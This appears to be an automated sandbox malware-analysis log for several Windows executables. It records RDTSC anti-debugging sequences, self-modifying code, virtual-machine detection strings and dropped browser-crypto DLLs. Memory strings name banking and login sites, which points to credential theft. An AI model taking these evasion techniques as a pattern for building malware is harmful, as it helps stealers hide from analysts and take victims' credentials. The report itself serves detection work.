Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F8363 second address: 8F83A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnc 00007F23CC733A2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F23CC733A36h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F83A4 second address: 8F83A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F899D second address: 8F89AA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F23CC733A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F89AA second address: 8F89DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], ebx 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F23CCC4C818h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D39CEh], edx 0x00000029 nop 0x0000002a pushad 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F8E34 second address: 8F8E38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F9E55 second address: 8F9EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jno 00007F23CCC4C81Eh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F23CCC4C818h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 sbb edi, 31E2DCBBh 0x0000002e clc 0x0000002f push 00000000h 0x00000031 pushad 0x00000032 mov ebx, dword ptr [ebp+122D2CA0h] 0x00000038 jl 00007F23CCC4C819h 0x0000003e popad 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ebp 0x00000044 call 00007F23CCC4C818h 0x00000049 pop ebp 0x0000004a mov dword ptr [esp+04h], ebp 0x0000004e add dword ptr [esp+04h], 0000001Dh 0x00000056 inc ebp 0x00000057 push ebp 0x00000058 ret 0x00000059 pop ebp 0x0000005a ret 0x0000005b sub dword ptr [ebp+1247898Dh], edi 0x00000061 xchg eax, ebx 0x00000062 je 00007F23CCC4C823h 0x00000068 jmp 00007F23CCC4C81Dh 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 jne 00007F23CCC4C816h 0x00000077 jnc 00007F23CCC4C816h 0x0000007d popad 0x0000007e rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8FC4AC second address: 8FC4B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8FC4B1 second address: 8FC4BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F23CCC4C816h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8FD92E second address: 8FD949 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F23CC733A2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F23CC733A26h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8FD949 second address: 8FD94F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8B7E49 second address: 8B7E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F23CC733A2Ah 0x0000000c popad 0x0000000d pushad 0x0000000e push edi 0x0000000f jmp 00007F23CC733A36h 0x00000014 jc 00007F23CC733A26h 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pop edx 0x0000001f jmp 00007F23CC733A31h 0x00000024 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 9060E6 second address: 9060F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 9060F3 second address: 906169 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F23CC733A36h 0x0000000c pop edi 0x0000000d popad 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F23CC733A28h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 jo 00007F23CC733A2Ch 0x0000002f mov edi, dword ptr [ebp+122D2CB4h] 0x00000035 push 00000000h 0x00000037 xor edi, 0B2E1B1Eh 0x0000003d push 00000000h 0x0000003f sbb ebx, 08E1371Dh 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 pushad 0x0000004a popad 0x0000004b jmp 00007F23CC733A36h 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 907F78 second address: 907F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 908FFB second address: 909001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 909001 second address: 909012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jns 00007F23CCC4C816h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 909012 second address: 909017 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 909017 second address: 90901D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8FB820 second address: 8FB826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8FB826 second address: 8FB82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90901D second address: 909068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov bx, B824h 0x0000000c push 00000000h 0x0000000e mov dword ptr [ebp+12481900h], ebx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F23CC733A28h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 jg 00007F23CC733A2Ch 0x00000036 mov di, si 0x00000039 push eax 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 909068 second address: 90906C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90A1AB second address: 90A1B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90A1B0 second address: 90A1CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F23CCC4C820h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90B099 second address: 90B0C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F23CC733A36h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F23CC733A26h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90B0C0 second address: 90B0C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90C046 second address: 90C050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F23CC733A26h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 9070EA second address: 9070EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 9081F7 second address: 908217 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F23CC733A28h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F23CC733A31h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90C050 second address: 90C117 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F23CCC4C818h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 je 00007F23CCC4C81Eh 0x00000029 push ecx 0x0000002a sbb ebx, 1EA4DD9Dh 0x00000030 pop edi 0x00000031 sbb ebx, 37EC0AE8h 0x00000037 push 00000000h 0x00000039 jmp 00007F23CCC4C823h 0x0000003e mov edi, dword ptr [ebp+122D1E16h] 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push ebx 0x00000049 call 00007F23CCC4C818h 0x0000004e pop ebx 0x0000004f mov dword ptr [esp+04h], ebx 0x00000053 add dword ptr [esp+04h], 00000018h 0x0000005b inc ebx 0x0000005c push ebx 0x0000005d ret 0x0000005e pop ebx 0x0000005f ret 0x00000060 call 00007F23CCC4C825h 0x00000065 jmp 00007F23CCC4C827h 0x0000006a pop edi 0x0000006b push eax 0x0000006c pushad 0x0000006d jp 00007F23CCC4C822h 0x00000073 jmp 00007F23CCC4C81Ch 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007F23CCC4C81Dh 0x0000007f rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90C117 second address: 90C11B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90D0CD second address: 90D104 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C825h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F23CCC4C827h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90D104 second address: 90D10D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90E199 second address: 90E19D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90E19D second address: 90E1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F23CC733A2Ch 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007F23CC733A2Bh 0x00000013 nop 0x00000014 call 00007F23CC733A33h 0x00000019 mov dword ptr [ebp+122D38D8h], edi 0x0000001f pop ebx 0x00000020 push 00000000h 0x00000022 jg 00007F23CC733A28h 0x00000028 mov di, 80EAh 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D2715h], edi 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90E1F3 second address: 90E1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90E1FA second address: 90E200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90E200 second address: 90E204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90D3AB second address: 90D3AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 90E3A5 second address: 90E3AF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F23CCC4C81Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 913BBE second address: 913BD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F23CC733A2Ah 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A6FB36 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A6D56E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Special instruction interceptor: First address: 73ED0F instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Special instruction interceptor: First address: 8EF50D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Special instruction interceptor: First address: 8EDB97 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Special instruction interceptor: First address: 73C6E2 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Special instruction interceptor: First address: 918B5F instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Special instruction interceptor: First address: 900E2D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Special instruction interceptor: First address: 97F57B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 55ED0F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 70F50D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 70DB97 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 55C6E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 738B5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 720E2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 79F57B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe	Special instruction interceptor: First address: 3A0B02 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe	Special instruction interceptor: First address: 3A0BF3 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsFIDHIEBAAK.exe

Code function: 21_2_053706A8 rdtsc

21_2_053706A8

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6556	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1532	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1124	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4052	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6004	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4308	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 940	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8468	Thread sleep count: 43 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8468	Thread sleep time: -1290000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8468	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsFIDHIEBAAK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C66C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000017.00000002.2659557807.00000000006EE000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3332984011.00000000006EE000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: JKEGHDGH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000002.2590695156.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8s
Source: JKEGHDGH.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: JKEGHDGH.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: JKEGHDGH.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: JKEGHDGH.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: JKEGHDGH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2590695156.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3337495411.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: JKEGHDGH.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: JKEGHDGH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: JKEGHDGH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: JKEGHDGH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: JKEGHDGH.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: JKEGHDGH.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: JKEGHDGH.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: JKEGHDGH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: JKEGHDGH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: JKEGHDGH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: JKEGHDGH.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: JKEGHDGH.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: JKEGHDGH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: skotes.exe, 00000019.00000002.3337495411.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: JKEGHDGH.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: JKEGHDGH.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: JKEGHDGH.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: JKEGHDGH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: JKEGHDGH.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: JKEGHDGH.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: JKEGHDGH.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: JKEGHDGH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2590695156.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: JKEGHDGH.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: JKEGHDGH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2588657828.0000000000BE8000.00000040.00000001.01000000.00000003.sdmp, DocumentsFIDHIEBAAK.exe, 00000015.00000002.2626745768.00000000008CE000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2657385058.00000000006EE000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2659557807.00000000006EE000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3332984011.00000000006EE000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: JKEGHDGH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
